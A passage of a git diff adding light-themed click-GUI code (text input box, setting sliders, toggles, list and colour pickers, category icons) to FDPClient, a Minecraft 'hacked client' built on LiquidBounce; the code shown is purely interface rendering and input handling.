startY + 70 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + Fonts.font40.drawString("World", startX + 30 + Math.round(categoryAnimation / 5), startY + 105 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + Fonts.font40.drawString("Player", startX + 30 + Math.round(categoryAnimation / 5), startY + 140 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + Fonts.font40.drawString("Exploit", startX + 30 + Math.round(categoryAnimation / 5), startY + 175 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + Fonts.font40.drawString("Misc", startX + 30 + Math.round(categoryAnimation / 5), startY + 210 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + Fonts.font40.drawString("Client", startX + 30 + Math.round(categoryAnimation / 5), startY + 245 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + Fonts.font40.drawString("Render", startX + 30 + Math.round(categoryAnimation / 5), startY + 280 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + } + searchBox.drawTextBox(); + // 判断category所处的位置是否被按下或者被略过 + + int Hdiff = animationHeight - categoryYpos; + + animationHeight += Math.round((categoryYpos - animationHeight)/2.5); + + if ( Hdiff > -3 && Hdiff < 0 ) { + animationHeight = categoryYpos; + } + if ( Hdiff < 3 && Hdiff > 0 ) { + animationHeight = categoryYpos; + } + + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/Combat.png"), (int) startX + 17, (int) startY + 35, 12, 12); + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/Movement.png"), (int) startX + 17, (int) startY + 70, 12, 12); + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/World.png"), (int) startX + 17, (int) startY + 105, 12, 12); + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/Player.png"), (int) startX + 17, (int) startY + 140, 12, 12); + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/Exploit.png"), (int) startX + 17, (int) startY + 175, 12, 12); + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/Misc.png"), (int) startX + 17, (int) startY + 210, 12, 12); + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/Client.png"), (int) startX + 17, (int) startY + 245, 12, 12); + RenderUtils.drawImage(new ResourceLocation("fdpclient/ui/clickgui/light/Render.png"), (int) startX + 17, (int) startY + 280, 12, 12); + + } + + public boolean isStringHovered(float f, float y, float g, float y2, int mouseX, int mouseY) { + return mouseX >= f && mouseX <= g && mouseY >= y && mouseY <= y2; + } + + public boolean isSettingsButtonHovered(float x, float y, float x2, float y2, int mouseX, int mouseY) { + return mouseX >= x && mouseX <= x2 && mouseY >= y && mouseY <= y2; + } + + public boolean isButtonHovered(float f, float y, float g, float y2, int mouseX, int mouseY) { + return mouseX >= f && mouseX <= g && mouseY >= y && mouseY <= y2; + } + + public boolean isCheckBoxHovered(float f, float y, float g, float y2, int mouseX, int mouseY) { + return mouseX >= f && mouseX <= g && mouseY >= y && mouseY <= y2; + } + + public boolean isCategoryHovered(float x, float y, float x2, float y2, int mouseX, int mouseY) { + return mouseX >= x && mouseX <= x2 && mouseY >= y && mouseY <= y2; + } + + public boolean isHovered(float x, float y, float x2, float y2, int mouseX, int mouseY) { + return mouseX >= x && mouseX <= x2 && mouseY >= y && mouseY <= y2; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/LightSettings/InputBox.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/LightSettings/InputBox.java new file mode 100644 index 0000000..929e1b6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/LightSettings/InputBox.java @@ -0,0 +1,533 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light.LightSettings; + +import com.google.common.base.Predicate; +import com.google.common.base.Predicates; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiPageButtonList.GuiResponder; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.WorldRenderer; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.util.ChatAllowedCharacters; +import net.minecraft.util.MathHelper; + +import java.awt.*; + +public class InputBox extends Gui { + private final int id; + public int xPosition; + public int yPosition; + private final int width; + private final int height; + private String text = ""; + private int maxStringLength = 32; + private int cursorCounter; + private boolean enableBackgroundDrawing = true; + private boolean canLoseFocus = true; + private boolean isFocused; + private boolean isEnabled = true; + private int lineScrollOffset; + private int cursorPosition; + private int selectionEnd; + private int enabledColor = 14737632; + private int disabledColor = 7368816; + private boolean visible = true; + private GuiResponder field_175210_x; + private Predicate validator = Predicates.alwaysTrue(); + + public InputBox(int componentId, int x, int y, int par5Width, int par6Height) { + this.id = componentId; + this.xPosition = x; + this.yPosition = y; + this.width = par5Width; + this.height = par6Height; + } + + + public void func_175207_a(GuiResponder p_175207_1_) { + this.field_175210_x = p_175207_1_; + } + + public void updateCursorCounter() { + ++this.cursorCounter; + } + + public void setText(String p_146180_1_) { + if(this.validator.apply(p_146180_1_)) { + if(p_146180_1_.length() > this.maxStringLength) { + this.text = p_146180_1_.substring(0, this.maxStringLength); + } else { + this.text = p_146180_1_; + } + + this.setCursorPositionEnd(); + } + + } + + public String getText() { + return this.text; + } + + public String getSelectedText() { + int i = this.cursorPosition < this.selectionEnd?this.cursorPosition:this.selectionEnd; + int j = this.cursorPosition < this.selectionEnd?this.selectionEnd:this.cursorPosition; + return this.text.substring(i, j); + } + + public void writeText(String p_146191_1_) { + String s = ""; + String s1 = ChatAllowedCharacters.filterAllowedCharacters(p_146191_1_); + int i = this.cursorPosition < this.selectionEnd?this.cursorPosition:this.selectionEnd; + int j = this.cursorPosition < this.selectionEnd?this.selectionEnd:this.cursorPosition; + int k = this.maxStringLength - this.text.length() - (i - j); + boolean l = false; + if(this.text.length() > 0) { + s = s + this.text.substring(0, i); + } + + int l1; + if(k < s1.length()) { + s = s + s1.substring(0, k); + l1 = k; + } else { + s = s + s1; + l1 = s1.length(); + } + + if(this.text.length() > 0 && j < this.text.length()) { + s = s + this.text.substring(j); + } + + if(this.validator.apply(s)) { + this.text = s; + this.moveCursorBy(i - this.selectionEnd + l1); + if(this.field_175210_x != null) { + this.field_175210_x.func_175319_a(this.id, this.text); + } + } + + } + + public void deleteWords(int p_146177_1_) { + if(this.text.length() != 0) { + if(this.selectionEnd != this.cursorPosition) { + this.writeText(""); + } else { + this.deleteFromCursor(this.getNthWordFromCursor(p_146177_1_) - this.cursorPosition); + } + } + + } + + public void deleteFromCursor(int p_146175_1_) { + if(this.text.length() != 0) { + if(this.selectionEnd != this.cursorPosition) { + this.writeText(""); + } else { + boolean flag = p_146175_1_ < 0; + int i = flag?this.cursorPosition + p_146175_1_:this.cursorPosition; + int j = flag?this.cursorPosition:this.cursorPosition + p_146175_1_; + String s = ""; + if(i >= 0) { + s = this.text.substring(0, i); + } + + if(j < this.text.length()) { + s = s + this.text.substring(j); + } + + if(this.validator.apply(s)) { + this.text = s; + if(flag) { + this.moveCursorBy(p_146175_1_); + } + + if(this.field_175210_x != null) { + this.field_175210_x.func_175319_a(this.id, this.text); + } + } + } + } + + } + + public int getId() { + return this.id; + } + + public int getNthWordFromCursor(int p_146187_1_) { + return this.getNthWordFromPos(p_146187_1_, this.getCursorPosition()); + } + + public int getNthWordFromPos(int p_146183_1_, int p_146183_2_) { + return this.func_146197_a(p_146183_1_, p_146183_2_, true); + } + + public int func_146197_a(int p_146197_1_, int p_146197_2_, boolean p_146197_3_) { + int i = p_146197_2_; + boolean flag = p_146197_1_ < 0; + int j = Math.abs(p_146197_1_); + + for(int k = 0; k < j; ++k) { + if(!flag) { + int l = this.text.length(); + i = this.text.indexOf(32, i); + if(i == -1) { + i = l; + } else { + while(p_146197_3_ && i < l && this.text.charAt(i) == 32) { + ++i; + } + } + } else { + while(p_146197_3_ && i > 0 && this.text.charAt(i - 1) == 32) { + --i; + } + + while(i > 0 && this.text.charAt(i - 1) != 32) { + --i; + } + } + } + + return i; + } + + public void moveCursorBy(int p_146182_1_) { + this.setCursorPosition(this.selectionEnd + p_146182_1_); + } + + public void setCursorPosition(int p_146190_1_) { + this.cursorPosition = p_146190_1_; + int i = this.text.length(); + this.cursorPosition = MathHelper.clamp_int(this.cursorPosition, 0, i); + this.setSelectionPos(this.cursorPosition); + } + + public void setCursorPositionZero() { + this.setCursorPosition(0); + } + + public void setCursorPositionEnd() { + this.setCursorPosition(this.text.length()); + } + + public boolean textboxKeyTyped(char p_146201_1_, int p_146201_2_) { + if(!this.isFocused) { + return false; + } else if(GuiScreen.isKeyComboCtrlA(p_146201_2_)) { + this.setCursorPositionEnd(); + this.setSelectionPos(0); + return true; + } else if(GuiScreen.isKeyComboCtrlC(p_146201_2_)) { + GuiScreen.setClipboardString(this.getSelectedText()); + return true; + } else if(GuiScreen.isKeyComboCtrlV(p_146201_2_)) { + if(this.isEnabled) { + this.writeText(GuiScreen.getClipboardString()); + } + + return true; + } else if(GuiScreen.isKeyComboCtrlX(p_146201_2_)) { + GuiScreen.setClipboardString(this.getSelectedText()); + if(this.isEnabled) { + this.writeText(""); + } + + return true; + } else { + switch(p_146201_2_) { + case 14: + if(GuiScreen.isCtrlKeyDown()) { + if(this.isEnabled) { + this.deleteWords(-1); + } + } else if(this.isEnabled) { + this.deleteFromCursor(-1); + } + + return true; + case 199: + if(GuiScreen.isShiftKeyDown()) { + this.setSelectionPos(0); + } else { + this.setCursorPositionZero(); + } + + return true; + case 203: + if(GuiScreen.isShiftKeyDown()) { + if(GuiScreen.isCtrlKeyDown()) { + this.setSelectionPos(this.getNthWordFromPos(-1, this.getSelectionEnd())); + } else { + this.setSelectionPos(this.getSelectionEnd() - 1); + } + } else if(GuiScreen.isCtrlKeyDown()) { + this.setCursorPosition(this.getNthWordFromCursor(-1)); + } else { + this.moveCursorBy(-1); + } + + return true; + case 205: + if(GuiScreen.isShiftKeyDown()) { + if(GuiScreen.isCtrlKeyDown()) { + this.setSelectionPos(this.getNthWordFromPos(1, this.getSelectionEnd())); + } else { + this.setSelectionPos(this.getSelectionEnd() + 1); + } + } else if(GuiScreen.isCtrlKeyDown()) { + this.setCursorPosition(this.getNthWordFromCursor(1)); + } else { + this.moveCursorBy(1); + } + + return true; + case 207: + if(GuiScreen.isShiftKeyDown()) { + this.setSelectionPos(this.text.length()); + } else { + this.setCursorPositionEnd(); + } + + return true; + case 211: + if(GuiScreen.isCtrlKeyDown()) { + if(this.isEnabled) { + this.deleteWords(1); + } + } else if(this.isEnabled) { + this.deleteFromCursor(1); + } + + return true; + default: + if(ChatAllowedCharacters.isAllowedCharacter(p_146201_1_)) { + if(this.isEnabled) { + this.writeText(Character.toString(p_146201_1_)); + } + + return true; + } else { + return false; + } + } + } + } + + public void mouseClicked(int p_146192_1_, int p_146192_2_, int p_146192_3_) { + boolean flag = p_146192_1_ >= this.xPosition && p_146192_1_ < this.xPosition + this.width && p_146192_2_ >= this.yPosition && p_146192_2_ < this.yPosition + this.height; + if(this.canLoseFocus) { + this.setFocused(flag); + } + + if(this.isFocused && flag && p_146192_3_ == 0) { + int i = p_146192_1_ - this.xPosition; + if(this.enableBackgroundDrawing) { + i -= 4; + } + + String s = Fonts.font35.trimStringToWidth(this.text.substring(this.lineScrollOffset), this.getWidth()); + this.setCursorPosition(Fonts.font35.trimStringToWidth(s, i).length() + this.lineScrollOffset); + } + + } + + public void drawTextBox() { + if(this.getVisible()) { + if(this.getEnableBackgroundDrawing()) { + RenderUtils.drawBorderedRect((float)this.xPosition, (float)this.yPosition - 2, (float)(this.xPosition + this.width), (float)(this.yPosition + this.height + 2), 1, new Color(0, 0, 0, 0).getRGB(),new Color(0, 0, 0, 140).getRGB()); + } + + int i = this.isEnabled?(new Color(100, 100, 100)).getRGB():this.disabledColor; + int j = this.cursorPosition - this.lineScrollOffset; + int k = this.selectionEnd - this.lineScrollOffset; + String s = Fonts.font35.trimStringToWidth(this.text.substring(this.lineScrollOffset), this.getWidth()); + boolean flag = j >= 0 && j <= s.length(); + boolean flag1 = this.isFocused && this.cursorCounter / 6 % 2 == 0 && flag; + int l = this.enableBackgroundDrawing?this.xPosition + 4:this.xPosition; + int i1 = this.enableBackgroundDrawing?this.yPosition + (this.height - 8) / 2:this.yPosition; + int j1 = l; + if(k > s.length()) { + k = s.length(); + } + + if(s.length() > 0) { + String flag2 = flag?s.substring(0, j):s; + //j1 = Fonts.font35.drawStringWithShadow(flag2, (float)l, (float)i1 + 5, -1); + } + + boolean var13 = this.cursorPosition < this.text.length() || this.text.length() >= this.getMaxStringLength(); + int k1 = j1; + if(!flag) { + k1 = j > 0?l + this.width:l; + } else if(var13) { + k1 = j1 - 1; + --j1; + } + + if(flag1) { + if(var13) { + Gui.drawRect(k1, i1 - 1, k1 + 1, i1 + 1 + Fonts.font35.FONT_HEIGHT, -3092272); + } else { + //Fonts.font35.drawString("_", (float)k1, (float)i1 + 5, -1); + } + } + + if(k != j) { + int l1 = l + Fonts.font35.getStringWidth(s.substring(0, k)); + this.drawCursorVertical(k1, i1 - 1, l1 - 1, i1 + 1 + Fonts.font35.FONT_HEIGHT); + } + } + + } + + private void drawCursorVertical(int p_146188_1_, int p_146188_2_, int p_146188_3_, int p_146188_4_) { + int tessellator; + if(p_146188_1_ < p_146188_3_) { + tessellator = p_146188_1_; + p_146188_1_ = p_146188_3_; + p_146188_3_ = tessellator; + } + + if(p_146188_2_ < p_146188_4_) { + tessellator = p_146188_2_; + p_146188_2_ = p_146188_4_; + p_146188_4_ = tessellator; + } + + if(p_146188_3_ > this.xPosition + this.width) { + p_146188_3_ = this.xPosition + this.width; + } + + if(p_146188_1_ > this.xPosition + this.width) { + p_146188_1_ = this.xPosition + this.width; + } + + Tessellator tessellatorInstance = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellatorInstance.getWorldRenderer(); + GlStateManager.color(0.0F, 0.0F, 255.0F, 255.0F); + GlStateManager.disableTexture2D(); + GlStateManager.enableColorLogic(); + GlStateManager.colorLogicOp(5387); + worldrenderer.begin(7, DefaultVertexFormats.POSITION); + worldrenderer.pos(p_146188_1_, p_146188_4_, 0.0D).endVertex(); + worldrenderer.pos(p_146188_3_, p_146188_4_, 0.0D).endVertex(); + worldrenderer.pos(p_146188_3_, p_146188_2_, 0.0D).endVertex(); + worldrenderer.pos(p_146188_1_, p_146188_2_, 0.0D).endVertex(); + tessellatorInstance.draw(); + GlStateManager.disableColorLogic(); + GlStateManager.enableTexture2D(); + } + + public void setMaxStringLength(int p_146203_1_) { + this.maxStringLength = p_146203_1_; + if(this.text.length() > p_146203_1_) { + this.text = this.text.substring(0, p_146203_1_); + } + + } + + public int getMaxStringLength() { + return this.maxStringLength; + } + + public int getCursorPosition() { + return this.cursorPosition; + } + + public boolean getEnableBackgroundDrawing() { + return this.enableBackgroundDrawing; + } + + public void setEnableBackgroundDrawing(boolean p_146185_1_) { + this.enableBackgroundDrawing = p_146185_1_; + } + + public void setTextColor(int p_146193_1_) { + this.enabledColor = p_146193_1_; + } + + public void setDisabledTextColour(int p_146204_1_) { + this.disabledColor = p_146204_1_; + } + + public void setFocused(boolean p_146195_1_) { + if(p_146195_1_ && !this.isFocused) { + this.cursorCounter = 0; + } + + this.isFocused = p_146195_1_; + } + + public boolean isFocused() { + return this.isFocused; + } + + public void setEnabled(boolean p_146184_1_) { + this.isEnabled = p_146184_1_; + } + + public int getSelectionEnd() { + return this.selectionEnd; + } + + public int getWidth() { + return this.getEnableBackgroundDrawing()?this.width - 8:this.width; + } + + public void setSelectionPos(int p_146199_1_) { + int i = this.text.length(); + if(p_146199_1_ > i) { + p_146199_1_ = i; + } + + if(p_146199_1_ < 0) { + p_146199_1_ = 0; + } + + this.selectionEnd = p_146199_1_; + if(Fonts.font35 != null) { + if(this.lineScrollOffset > i) { + this.lineScrollOffset = i; + } + + int j = this.getWidth(); + String s = Fonts.font35.trimStringToWidth(this.text.substring(this.lineScrollOffset), j); + int k = s.length() + this.lineScrollOffset; + if(p_146199_1_ == this.lineScrollOffset) { + this.lineScrollOffset -= Fonts.font35.trimStringToWidth(this.text, j, true).length(); + } + + if(p_146199_1_ > k) { + this.lineScrollOffset += p_146199_1_ - k; + } else if(p_146199_1_ <= this.lineScrollOffset) { + this.lineScrollOffset -= this.lineScrollOffset - p_146199_1_; + } + + this.lineScrollOffset = MathHelper.clamp_int(this.lineScrollOffset, 0, i); + } + + } + + public void setCanLoseFocus(boolean p_146205_1_) { + this.canLoseFocus = p_146205_1_; + } + + public boolean getVisible() { + return this.visible; + } + + public void setVisible(boolean p_146189_1_) { + this.visible = p_146189_1_; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/ModuleSettings/Setting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/ModuleSettings/Setting.java new file mode 100644 index 0000000..17e8701 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/ModuleSettings/Setting.java @@ -0,0 +1,42 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light.ModuleSettings; + +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.features.value.*; + +public abstract class Setting { + protected final GameFontRenderer font = Fonts.font40; + protected final boolean isHovered(float x, float y, float x2, float y2, int mouseX, int mouseY) { + return mouseX >= x && mouseX <= x2 && mouseY >= y && mouseY <= y2; + } + /** + * Draw the ListValue + */ + public abstract void drawListValue(boolean previousMouse,int mouseX,int mouseY,float mY,float startX,ListValue listValue); + /** + * Draw the TextValue + */ + public abstract void drawTextValue(float startX, float mY,TextValue textValue); + /** + * Draw the FloatValue + */ + public abstract void drawFloatValue(int mouseX,float mY,float startX,boolean previousMouse,boolean buttonDown,FloatValue floatValue); + /** + * Draw the IntegerValue + */ + public abstract void drawIntegerValue(int mouseX, float mY, float startX, boolean previousMouse, boolean buttonDown, IntegerValue integerValue); + /** + * Draw the BoolValue + */ + public abstract void drawBoolValue(boolean mouse,int mouseX,int mouseY,float startX,float mY,BoolValue boolValue); + /** + * Draw the ColorValue + */ + public abstract void drawColorValue(float startX, float mY,float x, int mouseX, int mouseY, Value.ColorValue colorValue); + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/ModuleSettings/Settings.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/ModuleSettings/Settings.java new file mode 100644 index 0000000..cf82f2c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/ModuleSettings/Settings.java @@ -0,0 +1,222 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light.ModuleSettings; + +import net.ccbluex.liquidbounce.utils.AnimationHelper; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import org.lwjgl.input.Mouse; + +import java.awt.*; + +public class Settings extends Setting { + private final AnimationHelper alphaAnim; + public Settings(AnimationHelper alphaAnim) { + this.alphaAnim = alphaAnim; + } + + @Override + public void drawListValue(boolean previousMouse, int mouseX, int mouseY, float mY, float startX, ListValue listValue) { + float x = startX + 310; + int l = font.getStringWidth(listValue.get()); + + font.drawString(listValue.getName(), startX + 210, mY + 1, new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + + + if (listValue.openList) { + int height = listValue.getValues().length * (font.FONT_HEIGHT + 2); + + + RenderUtils.drawRoundedRect2(x + 61 - l, mY - 3, x + 92, mY + 11, 2, new Color(230, 230, 230, 200).getRGB()); + RenderUtils.drawRoundedRect2(x + 85, mY - 6, x + 201, (int) (mY + height + 3), 2, new Color(230, 230, 230, 200).getRGB()); + + RenderUtils.drawRoundedRect2(x + 60 - l, mY - 4, x + 80, mY + 10, 2, new Color(250, 250, 250, 250).getRGB()); + RenderUtils.drawRect(x + 63 - l, mY - 4, x + 90, mY + 10, new Color(250, 250, 250, 250).getRGB()); + + font.drawString(listValue.get(), x + 70 - l, mY + 1, new Color(80, 80, 80, 250).getRGB()); + font.drawString(">", x + 73, mY + 1, new Color(80, 80, 80, 250).getRGB()); + + + RenderUtils.drawRoundedRect2(x + 85, mY - 8, x + 200, (int) (mY + height + 2), 2, new Color(250, 250, 250, 250).getRGB()); + + for (int i = 0; i < listValue.getValues().length; i++) { + + if (this.isHovered(x + 85, mY - 5 + i * (font.FONT_HEIGHT + 2), x + 200, mY - 3 + font.FONT_HEIGHT + i * (font.FONT_HEIGHT + 2), mouseX, mouseY)) { + RenderUtils.drawRoundedRect2(x + 88, mY - 6 + i * (font.FONT_HEIGHT + 2), x + 197, mY - 2 + font.FONT_HEIGHT + i * (font.FONT_HEIGHT + 2), 2, new Color(220, 220, 220, 255).getRGB()); + if (Mouse.isButtonDown(0) && !previousMouse) { + listValue.set(listValue.getValues()[i]); + } + } + + if (i == listValue.getModeListNumber(listValue.get())) { + RenderUtils.drawRoundedRect2(x + 88, mY - 6 + i * (font.FONT_HEIGHT + 2), x + 197, mY - 2 + font.FONT_HEIGHT + i * (font.FONT_HEIGHT + 2), 2, new Color(200, 200, 200, 255).getRGB()); + } + + font.drawString(listValue.getValues()[i], x + 91, mY - 2 + i * (font.FONT_HEIGHT + 2), new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + + } + + } else { + RenderUtils.drawRoundedRect2(x + 61 - l, mY - 3, x + 81, mY + 11, 2, new Color(230, 230, 230, 200).getRGB()); + RenderUtils.drawRoundedRect2(x + 60 - l, mY - 4, x + 80, mY + 10, 2, new Color(250, 250, 250, 250).getRGB()); + font.drawString(listValue.get(), x + 70 - l, mY + 1, new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + font.drawString("<", x + 73, mY + 1, new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + } + + + if (this.isHovered(x + 60 - l, mY - 4, x + 85, mY + 11, mouseX, mouseY)) { + if (Mouse.isButtonDown(0) && !previousMouse) { + listValue.openList = !listValue.openList; + } + } + + } + + @Override + public void drawTextValue(float startX, float mY,TextValue textValue) { + font.drawString(textValue.getName() + ": " + textValue.get(), startX + 210, mY, new Color(80,80,80).getRGB()); + } + + @Override + public String toString() { + return "Light Client Settings"; + } + + @Override + public int hashCode() { + return super.hashCode(); + } + + @Override + public boolean equals(Object obj) { + return obj == this; + } + + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } + + @Override + protected void finalize() throws Throwable { + super.finalize(); + } + + @Override + public void drawFloatValue(int mouseX,float mY,float startX,boolean previousMouse,boolean buttonDown,FloatValue floatValue) { + float x = startX + 300; + double render = (68.0F + * (floatValue.get() - floatValue.getMinimum()) + / (floatValue.getMaximum() + - floatValue.getMinimum()) + + 1); + RenderUtils.drawRect( x - 6, mY + 2, (float) ((double) x + 75), mY + 3, + (new Color(200, 200, 200,alphaAnim.getAlpha())).getRGB()); + RenderUtils.drawRect( x - 6, mY + 2, (float) ((double) x + render + 6.5D), mY + 3, + (new Color(61, 141, 255,alphaAnim.getAlpha())).getRGB()); + RenderUtils.circle((float) ((double) x + render + 4D), mY + 2.5F, 2, new Color(61, 141, 255,alphaAnim.getAlpha())); + font.drawString(String.valueOf(floatValue.get()), + (float) ((double) x + render - 5), mY - 7, new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + font.drawString(floatValue.getName(), startX + 210, mY, new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + if (buttonDown && Mouse.isButtonDown(0)) { + if (!previousMouse && Mouse.isButtonDown(0)) { + render = floatValue.getMinimum(); + double max = floatValue.getMaximum(); + double inc = 0.01; + double valAbs = (double) mouseX - ((double) x + 1.0D); + double perc = valAbs / 68.0D; + perc = Math.min(Math.max(0.0D, perc), 1.0D); + double valRel = (max - render) * perc; + double val = render + valRel; + val = Math.round(val * (1.0D / inc)) / (1.0D / inc); + floatValue.set((float) val); + } + } + } + + @Override + public void drawIntegerValue(int mouseX, float mY, float startX, boolean previousMouse, boolean buttonDown, IntegerValue integerValue) { + float x = startX + 300; + double render = (68.0F + * (integerValue.get() - integerValue.getMinimum()) + / (integerValue.getMaximum() + - integerValue.getMinimum()) + + 1); + RenderUtils.drawRect( x - 6, mY + 2, (float) ((double) x + 75), mY + 3, + (new Color(200, 200, 200)).getRGB()); + RenderUtils.drawRect( x - 6, mY + 2, (float) ((double) x + render + 6.5D), mY + 3, + (new Color(61, 141, 255)).getRGB()); + RenderUtils.circle((float) ((double) x + render + 4D), mY + 2.5F, 2, new Color(61, 141, 255,alphaAnim.getAlpha())); + font.drawString(String.valueOf(integerValue.get()), + (float) ((double) x + render - 5), mY - 7, new Color(80, 80, 80).getRGB()); + font.drawString(integerValue.getName(), startX + 210, mY, new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + + if (buttonDown && Mouse.isButtonDown(0)) { + if (!previousMouse && Mouse.isButtonDown(0)) { + render = integerValue.getMinimum(); + double max = integerValue.getMaximum(); + double inc = 1.0; + double valAbs = (double) mouseX - ((double) x + 1.0D); + double perc = valAbs / 68.0D; + perc = Math.min(Math.max(0.0D, perc), 1.0D); + double valRel = (max - render) * perc; + double val = render + valRel; + val = Math.round(val * (1.0D / inc)) / (1.0D / inc); + integerValue.set((int) val); + } + } + } + @Override + public void drawBoolValue(boolean mouse,int mouseX,int mouseY,float startX,float mY,BoolValue boolValue) { + float x = startX + 325; + font.drawString(boolValue.getName(), startX + 210, mY, new Color(80, 80, 80,alphaAnim.getAlpha()).getRGB()); + RenderUtils.drawRoundedRect2(x + 28, mY - 4, x + 52, mY + 10, 5, boolValue.get() ? new Color(66, 134, 245,alphaAnim.getAlpha()).getRGB() : new Color(114, 118, 125,alphaAnim.getAlpha()).getRGB() ); + RenderUtils.drawRoundedRect2(x + 30, mY - 2, x + 50, mY + 8, 4, new Color(250, 250, 250, 255).getRGB()); + RenderUtils.circle(x + 40 + boolValue.getAnimation().getAnimationX(), mY + 3, 4, boolValue.get() ? new Color(66, 134, 245,alphaAnim.getAlpha()).getRGB() : new Color(174, 174, 174,alphaAnim.getAlpha()).getRGB()); + if (boolValue.get()) { + boolValue.getAnimation().animationX += (5F - boolValue.getAnimation().animationX) / 2.5; + } else { + boolValue.getAnimation().animationX += (-5F - boolValue.getAnimation().animationX) / 2.5; + } + + if (this.isHovered(x + 28, mY - 4, x + 52, mY + 10, mouseX, mouseY)) { + if (mouse) + boolValue.set(!boolValue.get()); + } + } + + @Override + public void drawColorValue(float startX, float mY,float x, int mouseX, int mouseY, Value.ColorValue colorValue) { + font.drawString(colorValue.getName(), startX + 210, mY - 2, new Color(80, 80, 80).getRGB()); + float y = mY - 8; + int ticks; + int shits; + final double aDouble = (((mouseX - x) / 50.0 + Math.sin(1.6)) % 1.0F); + for(ticks = 0; ticks <50; ticks +=1) { + Color rainbowColor = new Color(Color.HSBtoRGB((float) (ticks / 50.0 + Math.sin(1.6)) % 1.0f, 1.0f, 1.0f)); + if(mouseX>x&&mouseX<x + 50&&mouseY>y&&mouseY<y+13 && Mouse.isButtonDown(0)){ + colorValue.set(new Color(Color.HSBtoRGB((float) aDouble, 1.0F, 1.0f)).getRGB()); + RenderUtils.drawRect(mouseX-1,mouseY-1,mouseX+1,mouseY+1,new Color(100,100,100,100).getRGB()); + } + if(mouseX>x&&mouseX<x + 50&&mouseY>y&&mouseY<y+13){ + RenderUtils.drawRect(mouseX-1,mouseY-1,mouseX+1,mouseY+1,new Color(100,100,100,100).getRGB()); + } + RenderUtils.drawRect(x + ticks, y, x + ticks + 1, y + 13, rainbowColor.getRGB()); + } + for(shits = 0; shits < 50; shits++) { + Color rainbowColor = new Color(Color.HSBtoRGB((float) (shits / 50.0 + Math.sin(1.6)) % 1.0f, 0.5F, 1.0f)); + if(mouseX>x&&mouseX<x + 100 && mouseY>y&&mouseY<y+13 && Mouse.isButtonDown(0)){ + colorValue.set(new Color(Color.HSBtoRGB((float) aDouble, 0.5F, 1.0f)).getRGB()); + RenderUtils.drawRect(mouseX-1,mouseY-1,mouseX+1,mouseY+1,new Color(100,100,100,100).getRGB()); + } + if(mouseX>x&&mouseX<x + 100&&mouseY>y&&mouseY<y+13){ + RenderUtils.drawRect(mouseX-1,mouseY-1,mouseX+1,mouseY+1,new Color(100,100,100,100).getRGB()); + } + RenderUtils.drawRect(x + shits + 50, y, x + shits + 51, y + 13, rainbowColor.getRGB()); + } + RenderUtils.drawRect(x, y+16, x + 50, y + 20,colorValue.get()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/ColorManager.kt 